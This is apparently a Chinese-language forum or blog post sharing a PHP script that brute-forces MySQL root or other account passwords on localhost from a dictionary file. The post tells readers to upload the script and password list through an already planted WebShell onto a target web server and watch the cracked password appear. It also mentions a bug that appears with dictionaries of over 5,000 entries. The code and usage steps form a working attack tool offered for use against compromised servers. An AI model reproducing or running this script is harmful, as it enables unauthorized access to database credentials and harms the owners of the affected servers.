PHP Mysql 密码暴力破解代码,本机暴力破解 3306 端口

传到WebShell上去暴力破解本机的MySql数据库Root或其它用户的密码,因为是破解本机,所以速度奇快无比,貌似还有点效果,这个以前有人发过,这个是我改过的。已知有一处Bug,不清楚为何,密码数量少的时候,准确率100%,但是当密码数量达到5000以上时,准确率0%,明明正确……
    复制代码
    代码如下:
    
    <?
    set_time_limit(0); //脚本不超时
    $user="root"; //用户名
    $passwd=file("password.txt"); //密码字典
    for($i=0;$i<count($passwd);$i++){
    $pass=$passwd[$i];
    connect($user,$pass);
    flush();
    }
    echo "扫描结束!";
    function connect($user,$pass) {
    $conn=@mysql_connect("localhost",$user,$pass);
    if($conn){
    echo "<font color='#0000FF'><b>得到密码:<font color='#FF0000'>".$pass."</font>!!!</b></font>";
    exit();
    }
    else {
    echo $pass.'
    ';
    }
    }
    ?>
    代码简单的不能再简单了,就不解释了,功能很简单,传到WebShell上去暴力破解本机的MySql数据库Root或其它用户的密码,因为是破解本机,所以速度奇快无比,貌似还有点效果,这个以前有人发过,这个是我改过的。
    已知有一处Bug,不清楚为何,密码数量少的时候,准确率100%,但是当密码数量达到5000以上时,准确率0%,明明正确的密码,却不显示正确,除非你把这个密码放在字典最末尾,才显示正确,不清楚是什么原因造成的,开始以为是暴破间隔时间太短,加了延时函数,还是这样。。。
    或许只是我个别原因?各位试试就知道了。
    用法:
    1、修改 PHP 代码中的用户名
    2、准备字典 password.txt,每行一个,理论上支持无数行。
    3、将脚本和字典一起传到目标Web服务器上,访问该脚本,即开始暴力破解,破解结果实时输出,盯着就行了。